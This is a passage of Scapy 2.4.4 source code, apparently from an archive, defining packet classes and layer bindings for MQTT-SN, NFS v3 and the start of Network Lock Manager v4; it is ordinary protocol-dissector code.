MQTTSNWillTopicResp(Packet): name = "MQTT-SN will topic response" fields_desc = [ ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNWillMsgUpd(Packet): name = "MQTT-SN will message update" fields_desc = [ StrLenField("will_msg", "", length_from=_mqttsn_length_from(0)) ] class MQTTSNWillMsgResp(Packet): name = "MQTT-SN will message response" fields_desc = [ ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNEncaps(Packet): name = "MQTT-SN encapsulated message" fields_desc = [ BitField("resvd", 0, 6), BitField("radius", 0, 2), StrLenField( "w_node_id", "", length_from=_mqttsn_length_from(1) ), ] # Layer bindings bind_bottom_up(UDP, MQTTSN, sport=1883) bind_bottom_up(UDP, MQTTSN, dport=1883) bind_layers(UDP, MQTTSN, dport=1883, sport=1883) bind_layers(MQTTSN, MQTTSNAdvertise, type=ADVERTISE) bind_layers(MQTTSN, MQTTSNSearchGW, type=SEARCHGW) bind_layers(MQTTSN, MQTTSNGwInfo, type=GWINFO) bind_layers(MQTTSN, MQTTSNConnect, type=CONNECT) bind_layers(MQTTSN, MQTTSNConnack, type=CONNACK) bind_layers(MQTTSN, MQTTSNWillTopicReq, type=WILLTOPICREQ) bind_layers(MQTTSN, MQTTSNWillTopic, type=WILLTOPIC) bind_layers(MQTTSN, MQTTSNWillMsgReq, type=WILLMSGREQ) bind_layers(MQTTSN, MQTTSNWillMsg, type=WILLMSG) bind_layers(MQTTSN, MQTTSNRegister, type=REGISTER) bind_layers(MQTTSN, MQTTSNRegack, type=REGACK) bind_layers(MQTTSN, MQTTSNPublish, type=PUBLISH) bind_layers(MQTTSN, MQTTSNPuback, type=PUBACK) bind_layers(MQTTSN, MQTTSNPubcomp, type=PUBCOMP) bind_layers(MQTTSN, MQTTSNPubrec, type=PUBREC) bind_layers(MQTTSN, MQTTSNPubrel, type=PUBREL) bind_layers(MQTTSN, MQTTSNSubscribe, type=SUBSCRIBE) bind_layers(MQTTSN, MQTTSNSuback, type=SUBACK) bind_layers(MQTTSN, MQTTSNUnsubscribe, type=UNSUBSCRIBE) bind_layers(MQTTSN, MQTTSNUnsuback, type=UNSUBACK) bind_layers(MQTTSN, MQTTSNPingReq, type=PINGREQ) bind_layers(MQTTSN, MQTTSNPingResp, type=PINGRESP) bind_layers(MQTTSN, MQTTSNDisconnect, type=DISCONNECT) bind_layers(MQTTSN, MQTTSNWillTopicUpd, type=WILLTOPICUPD) bind_layers(MQTTSN, MQTTSNWillTopicResp, type=WILLTOPICRESP) bind_layers(MQTTSN, MQTTSNWillMsgUpd, type=WILLMSGUPD) bind_layers(MQTTSN, MQTTSNWillMsgResp, type=WILLMSGRESP) bind_layers(MQTTSN, MQTTSNEncaps, type=ENCAPS_MSG) bind_layers(MQTTSNEncaps, MQTTSN) scapy-2.4.4/scapy/contrib/nfs.py000066400000000000000000000726361372370053500166020ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Lucas Preston # This program is published under a GPLv2 license # scapy.contrib.description = Network File System (NFS) v3 # scapy.contrib.status = loads from scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name from binascii import unhexlify from scapy.packet import Packet, bind_layers from scapy.fields import IntField, IntEnumField, FieldListField, LongField, \ XIntField, XLongField, ConditionalField, PacketListField, StrLenField, \ PacketField from scapy.modules.six import integer_types nfsstat3 = { 0: 'NFS3_OK', 1: 'NFS3ERR_PERM', 2: 'NFS3ERR_NOENT', 5: 'NFS3ERR_IO', 6: 'NFS3ERR_NXIO', 13: 'NFS3ERR_ACCES', 17: 'NFS3ERR_EXIST', 18: 'NFS3ERR_XDEV', 19: 'NFS3ERR_NODEV', 20: 'NFS3ERR_NOTDIR', 21: 'NFS3ERR_ISDIR', 22: 'NFS3ERR_INVAL', 27: 'NFS3ERR_FBIG', 28: 'NFS3ERR_NOSPC', 30: 'NFS3ERR_ROFS', 31: 'NFS3ERR_MLINK', 63: 'NFS3ERR_NAMETOOLONG', 66: 'NFS3ERR_NOTEMPTY', 69: 'NFS3ERR_DQUOT', 70: 'NFS3ERR_STALE', 71: 'NFS3ERR_REMOTE', 10001: 'NFS3ERR_BADHANDLE', 10002: 'NFS3ERR_NOT_SYNC', 10003: 'NFS3ERR_BAD_COOKIE', 10004: 'NFS3ERR_NOTSUPP', 10005: 'NFS3ERR_TOOSMALL', 10006: 'NFS3ERR_SERVERFAULT', 10007: 'NFS3ERR_BADTYPE', 10008: 'NFS3ERR_JUKEBOX' } ftype3 = { 1: 'NF3REG', 2: 'NF3DIR', 3: 'NF3BLK', 4: 'NF3CHR', 5: 'NF3LNK', 6: 'NF3SOCK', 7: 'NF3FIFO' } def loct(x): if isinstance(x, integer_types): return oct(x) if isinstance(x, tuple): return "(%s)" % ", ".join(map(loct, x)) if isinstance(x, list): return "[%s]" % ", ".join(map(loct, x)) return x class OIntField(IntField): """IntField child with octal representation""" def i2repr(self, pkt, x): return loct(self.i2h(pkt, x)) class Fattr3(Packet): name = 'File Attributes' fields_desc = [ IntEnumField('type', 0, ftype3), OIntField('mode', 0), IntField('nlink', 0), IntField('uid', 0), IntField('gid', 0), LongField('size', 0), LongField('used', 0), FieldListField( 'rdev', [0, 0], IntField('', None), count_from=lambda x: 2 ), XLongField('fsid', 0), XLongField('fileid', 0), IntField('atime_s', 0), IntField('atime_ns', 0), IntField('mtime_s', 0), IntField('mtime_ns', 0), IntField('ctime_s', 0), IntField('ctime_ns', 0) ] def extract_padding(self, s): return '', s class File_Object(Packet): name = 'File Object' fields_desc = [ IntField('length', 0), StrLenField('fh', b'', length_from=lambda pkt: pkt.length), StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) ] def set(self, new_filehandle, length=None, fill=None): # convert filehandle to bytes if it was passed as a string if new_filehandle.isalnum(): new_filehandle = unhexlify(new_filehandle) if length is None: length = len(new_filehandle) if fill is None: fill = b'\x00' * ((4 - length) % 4) self.length = length self.fh = new_filehandle self.fill = fill def extract_padding(self, s): return '', s class WCC_Attr(Packet): name = 'File Attributes' fields_desc = [ LongField('size', 0), IntField('mtime_s', 0), IntField('mtime_ns', 0), IntField('ctime_s', 0), IntField('ctime_ns', 0) ] def extract_padding(self, s): return '', s class File_From_Dir_Plus(Packet): name = 'File' fields_desc = [ LongField('fileid', 0), PacketField('filename', Object_Name(), Object_Name), LongField('cookie', 0), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), IntField('handle_follows', 0), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.handle_follows == 1 ), IntField('value_follows', 0) ] def extract_padding(self, s): return '', s class File_From_Dir(Packet): name = 'File' fields_desc = [ LongField('fileid', 0), PacketField('filename', Object_Name(), Object_Name), LongField('cookie', 0), IntField('value_follows', 0) ] def extract_padding(self, s): return '', s attrs_enum = {0: 'DONT SET', 1: 'SET'} times_enum = {0: 'DONT CHANGE', 1: 'SERVER TIME', 2: 'CLIENT TIME'} class Sattr3(Packet): name = 'Setattr3' fields_desc = [ IntEnumField('set_mode', 0, attrs_enum), ConditionalField(OIntField('mode', 0), lambda pkt: pkt.set_mode == 1), IntEnumField('set_uid', 0, attrs_enum), ConditionalField(IntField('uid', 0), lambda pkt: pkt.set_uid == 1), IntEnumField('set_gid', 0, attrs_enum), ConditionalField(IntField('gid', 0), lambda pkt: pkt.set_gid == 1), IntEnumField('set_size', 0, attrs_enum), ConditionalField(LongField('size', 0), lambda pkt: pkt.set_size == 1), IntEnumField('set_atime', 0, times_enum), ConditionalField( IntField('atime_s', 0), lambda pkt: pkt.set_atime == 2 ), ConditionalField( IntField('atime_ns', 0), lambda pkt: pkt.set_atime == 2 ), IntEnumField('set_mtime', 0, times_enum), ConditionalField( IntField('mtime_s', 0), lambda pkt: pkt.set_mtime == 2 ), ConditionalField( IntField('mtime_ns', 0), lambda pkt: pkt.set_mtime == 2 ) ] def extract_padding(self, s): return '', s class GETATTR_Call(Packet): name = 'GETATTR Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class GETATTR_Reply(Packet): name = 'GETATTR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 ) ] def extract_padding(self, s): return '', None bind_layers(RPC, GETATTR_Call, mtype=0) bind_layers( RPC_Call, GETATTR_Call, program=100003, pversion=3, procedure=1 ) bind_layers(RPC, GETATTR_Reply, mtype=1) class LOOKUP_Call(Packet): name = 'LOOKUP Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name) ] class LOOKUP_Reply(Packet): name = 'LOOKUP Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 ), ConditionalField(IntField('af_file', 0), lambda pkt: pkt.status == 0), ConditionalField( PacketField('file_attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.af_file == 1 ), IntField('af_dir', 0), ConditionalField( PacketField('dir_attributes', Fattr3(), Fattr3), lambda pkt: pkt.af_dir == 1 ) ] bind_layers(RPC, LOOKUP_Call, mtype=0) bind_layers(RPC, LOOKUP_Reply, mtype=1) bind_layers(RPC_Call, LOOKUP_Call, program=100003, pversion=3, procedure=3) class NULL_Call(Packet): name = 'NFS NULL Call' fields_desc = [] class NULL_Reply(Packet): name = 'NFS NULL Reply' fields_desc = [] bind_layers(RPC, NULL_Call, mtype=0) bind_layers(RPC, NULL_Reply, mtype=1) bind_layers(RPC_Call, NULL_Call, program=100003, pversion=3, procedure=0) class FSINFO_Call(Packet): name = 'FSINFO Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class FSINFO_Reply(Packet): name = 'FSINFO Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(IntField('rtmax', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('rtpref', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('rtmult', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('wtmax', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('wtpref', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('wtmult', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('dtpref', 0), lambda pkt: pkt.status == 0), ConditionalField( LongField('maxfilesize', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('timedelta_s', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('timedelta_ns', 0), lambda pkt: pkt.status == 0 ), ConditionalField( XIntField('properties', 0), lambda pkt: pkt.status == 0 ), ] bind_layers(RPC, FSINFO_Call, mtype=0) bind_layers(RPC, FSINFO_Reply, mtype=1) bind_layers( RPC_Call, FSINFO_Call, program=100003, pversion=3, procedure=19 ) class PATHCONF_Call(Packet): name = 'PATHCONF Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class PATHCONF_Reply(Packet): name = 'PATHCONF Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(IntField('linkmax', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('name_max', 0), lambda pkt: pkt.status == 0), ConditionalField( IntEnumField('no_trunc', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ), ConditionalField( IntEnumField('chown_restricted', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ), ConditionalField( IntEnumField('case_insensitive', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ), ConditionalField( IntEnumField('case_preserving', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, PATHCONF_Call, mtype=0) bind_layers(RPC, PATHCONF_Reply, mtype=1) bind_layers( RPC_Call, PATHCONF_Call, program=100003, pversion=3, procedure=20 ) access_specs = { 0x0001: 'READ', 0x0002: 'LOOKUP', 0x0004: 'MODIFY', 0x0008: 'EXTEND', 0x0010: 'DELETE', 0x0020: 'EXECUTE' } class ACCESS_Call(Packet): name = 'ACCESS Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), IntEnumField('check_access', 1, access_specs) ] class ACCESS_Reply(Packet): name = 'ACCESS Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( XIntField('access_rights', 0), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, ACCESS_Call, mtype=0) bind_layers(RPC, ACCESS_Reply, mtype=1) bind_layers(RPC_Call, ACCESS_Call, program=100003, pversion=3, procedure=4) class READDIRPLUS_Call(Packet): name = 'READDIRPLUS Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('cookie', 0), LongField('verifier', 0), IntField('dircount', 512), IntField('maxcount', 4096) ] class READDIRPLUS_Reply(Packet): name = 'READDIRPLUS Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( LongField('verifier', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('value_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketListField( 'files', None, cls=File_From_Dir_Plus, next_cls_cb=lambda pkt, lst, cur, remain: File_From_Dir_Plus if pkt.value_follows == 1 and (len(lst) == 0 or cur.value_follows == 1) and len(remain) > 4 else None ), lambda pkt: pkt.status == 0 ), ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0) ] def extract_padding(self, s): return '', s bind_layers(RPC, READDIRPLUS_Call, mtype=0) bind_layers(RPC, READDIRPLUS_Reply, mtype=1) bind_layers( RPC_Call, READDIRPLUS_Call, program=100003, pversion=3, procedure=17 ) class WRITE_Call(Packet): name = 'WRITE Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('offset', 0), IntField('count', 0), IntEnumField('stable', 0, {0: 'UNSTABLE', 1: 'STABLE'}), IntField('length', 0), StrLenField('contents', b'', length_from=lambda pkt: pkt.length), StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) ] class WRITE_Reply(Packet): name = 'WRITE Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ), ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0), ConditionalField( IntEnumField('committed', 0, {0: 'UNSTABLE', 1: 'STABLE'}), lambda pkt: pkt.status == 0 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, WRITE_Call, mtype=0) bind_layers(RPC, WRITE_Reply, mtype=1) bind_layers(RPC_Call, WRITE_Call, program=100003, pversion=3, procedure=7) class COMMIT_Call(Packet): name = 'COMMIT Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('offset', 0), IntField('count', 0) ] class COMMIT_Reply(Packet): name = 'COMMIT Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, COMMIT_Call, mtype=0) bind_layers(RPC, COMMIT_Reply, mtype=1) bind_layers( RPC_Call, COMMIT_Call, program=100003, pversion=3, procedure=21 ) class SETATTR_Call(Packet): name = 'SETATTR Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), PacketField('attributes', Sattr3(), Sattr3), IntField('check', 0) ] class SETATTR_Reply(Packet): name = 'SETATTR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, SETATTR_Call, mtype=0) bind_layers(RPC, SETATTR_Reply, mtype=1) bind_layers( RPC_Call, SETATTR_Call, program=100003, pversion=3, procedure=2 ) class FSSTAT_Call(Packet): name = 'FSSTAT Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class FSSTAT_Reply(Packet): name = 'FSSTAT Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(LongField('tbytes', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('fbytes', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('abytes', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('tfiles', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('ffiles', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('afiles', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('invarsec', 0), lambda pkt: pkt.status == 0) ] bind_layers(RPC, FSSTAT_Call, mtype=0) bind_layers(RPC, FSSTAT_Reply, mtype=1) bind_layers( RPC_Call, FSSTAT_Call, program=100003, pversion=3, procedure=18 ) class CREATE_Call(Packet): name = 'CREATE Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name), IntEnumField('create_mode', None, {0: 'UNCHECKED', 1: 'GUARDED', 2: 'EXCLUSIVE'}), ConditionalField( PacketField('attributes', Sattr3(), Sattr3), lambda pkt: pkt.create_mode != 2 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.create_mode == 2 ) ] class CREATE_Reply(Packet): name = 'CREATE Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( IntField('handle_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 ), ConditionalField( IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 ), IntField('af_before', 0), ConditionalField( PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('dir_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, CREATE_Call, mtype=0) bind_layers(RPC, CREATE_Reply, mtype=1) bind_layers(RPC_Call, CREATE_Call, program=100003, pversion=3, procedure=8) class REMOVE_Call(Packet): name = 'REMOVE Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name) ] class REMOVE_Reply(Packet): name = 'REMOVE Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, REMOVE_Call, mtype=0) bind_layers(RPC, REMOVE_Reply, mtype=1) bind_layers( RPC_Call, REMOVE_Call, program=100003, pversion=3, procedure=12 ) class READDIR_Call(Packet): name = 'READDIR Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('cookie', 0), XLongField('verifier', 0), IntField('count', 0) ] class READDIR_Reply(Packet): name = 'READDIR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('value_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketListField( 'files', None, cls=File_From_Dir, next_cls_cb=lambda pkt, lst, cur, remain: File_From_Dir if pkt.value_follows == 1 and (len(lst) == 0 or cur.value_follows == 1) and len(remain) > 4 else None ), lambda pkt: pkt.status == 0), ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0) ] bind_layers(RPC, READDIR_Call, mtype=0) bind_layers(RPC, READDIR_Reply, mtype=1) bind_layers( RPC_Call, READDIR_Call, program=100003, pversion=3, procedure=16 ) class RENAME_Call(Packet): name = 'RENAME Call' fields_desc = [ PacketField('dir_from', File_Object(), File_Object), PacketField('name_from', Object_Name(), Object_Name), PacketField('dir_to', File_Object(), File_Object), PacketField('name_to', Object_Name(), Object_Name), ] class RENAME_Reply(Packet): name = 'RENAME Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before_f', 0), ConditionalField( PacketField('attributes_before_f', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before_f == 1 ), IntField('af_after_f', 0), ConditionalField( PacketField('attributes_after_f', Fattr3(), Fattr3), lambda pkt: pkt.af_after_f == 1 ), IntField('af_before_t', 0), ConditionalField( PacketField('attributes_before_t', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before_t == 1 ), IntField('af_after_t', 0), ConditionalField( PacketField('attributes_after_t', Fattr3(), Fattr3), lambda pkt: pkt.af_after_t == 1 ) ] bind_layers(RPC, RENAME_Call, mtype=0) bind_layers(RPC, RENAME_Reply, mtype=1) bind_layers( RPC_Call, RENAME_Call, program=100003, pversion=3, procedure=14 ) class LINK_Call(Packet): name = 'LINK Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), PacketField('link_dir', File_Object(), File_Object), PacketField('link_name', Object_Name(), Object_Name) ] class LINK_Reply(Packet): name = 'LINK Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_file', 0), ConditionalField( PacketField('file_attributes', Fattr3(), Fattr3), lambda pkt: pkt.af_file == 1 ), IntField('af_link_before', 0), ConditionalField( PacketField('link_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_link_before == 1 ), IntField('af_link_after', 0), ConditionalField( PacketField('link_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_link_after == 1 ) ] bind_layers(RPC, LINK_Call, mtype=0) bind_layers(RPC, LINK_Reply, mtype=1) bind_layers(RPC_Call, LINK_Call, program=100003, pversion=3, procedure=15) class RMDIR_Call(Packet): name = 'RMDIR Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name), ] class RMDIR_Reply(Packet): name = 'RMDIR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, RMDIR_Call, mtype=0) bind_layers(RPC, RMDIR_Reply, mtype=1) bind_layers(RPC_Call, RMDIR_Call, program=100003, pversion=3, procedure=13) class READLINK_Call(Packet): name = 'READLINK Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class READLINK_Reply(Packet): name = 'READLINK Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( PacketField('filename', Object_Name(), Object_Name), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, READLINK_Call, mtype=0) bind_layers(RPC, READLINK_Reply, mtype=1) bind_layers( RPC_Call, READLINK_Call, program=100003, pversion=3, procedure=5 ) class READ_Call(Packet): name = 'READ Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('offset', 0), IntField('count', 0) ] class READ_Reply(Packet): name = 'READ Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0), ConditionalField( IntField('data_length', 0), lambda pkt: pkt.status == 0 ), ConditionalField( StrLenField('data', b'', length_from=lambda pkt: pkt.data_length), lambda pkt: pkt.status == 0 ), ConditionalField( StrLenField( 'fill', b'', length_from=lambda pkt: (4 - pkt.data_length) % 4 ), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, READ_Call, mtype=0) bind_layers(RPC, READ_Reply, mtype=1) bind_layers(RPC_Call, READ_Call, program=100003, pversion=3, procedure=6) class MKDIR_Call(Packet): name = 'MKDIR Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('dir_name', Object_Name(), Object_Name), PacketField('attributes', Sattr3(), Sattr3) ] class MKDIR_Reply(Packet): name = 'MKDIR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( IntField('handle_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 ), ConditionalField( IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 ), IntField('af_before', 0), ConditionalField( PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('dir_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, MKDIR_Call, mtype=0) bind_layers(RPC, MKDIR_Reply, mtype=1) bind_layers(RPC_Call, MKDIR_Call, program=100003, pversion=3, procedure=9) class SYMLINK_Call(Packet): name = 'SYMLINK Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('dir_name', Object_Name(), Object_Name), PacketField('attributes', Sattr3(), Sattr3), PacketField('link_name', Object_Name(), Object_Name) ] class SYMLINK_Reply(Packet): name = 'SYMLINK Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( IntField('handle_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 ), ConditionalField( IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 ), IntField('af_before', 0), ConditionalField( PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('dir_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, SYMLINK_Call, mtype=0) bind_layers(RPC, SYMLINK_Reply, mtype=1) bind_layers( RPC_Call, SYMLINK_Call, program=100003, pversion=3, procedure=10 ) scapy-2.4.4/scapy/contrib/nlm.py000066400000000000000000000165721372370053500165770ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Lucas Preston # This program is published under a GPLv2 license # scapy.contrib.description = Network Lock Manager (NLM) v4 # scapy.contrib.status = loads from scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name from scapy.packet import Packet, bind_layers from scapy.fields import IntField, StrLenField, LongField, PacketField, \ IntEnumField from scapy.contrib.nfs import File_Object nlm4_stats = { 0: 'NLM4_GRANTED', 1: 'NLM4_DENIED', 2: 'NLM4_DENIED_NOLOCKS', 3: 'NLM4_BLOCKED', 4: 'NLM4_DENIED_GRACE_PERIOD', 5: 'NLM4_DEADLCK', 6: 'NLM4_ROFS', 7: 'NLM4_STALE_FH', 8: 'NLM4_FBIG', 9: 'NLM4_FAILED' } class NLM4_Cookie(Packet): name = 'Cookie' fields_desc = [ IntField('length', 0), StrLenField('contents', '', length_from=lambda pkt: pkt.length), StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) ] def set(self, c, length=None, fill=None): if length is None: length = len(c) if fill is None: fill = b'\x00' * ((4 - len(c)) % 4) self.length = length self.contents = c self.fill = fill def extract_padding(self, s): return '', s class SHARE_Call(Packet): name = 'SHARE Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('mode', 0), IntField('access', 0), IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'}) ] class SHARE_Reply(Packet): name = 'SHARE Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats), IntField('sequence', 0) ] bind_layers(RPC_Call, SHARE_Call, program=100021, pversion=4, procedure=20) bind_layers(RPC, SHARE_Call, mtype=0) bind_layers(RPC, SHARE_Reply, mtype=1) class UNSHARE_Call(Packet): name = 'UNSHARE Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), 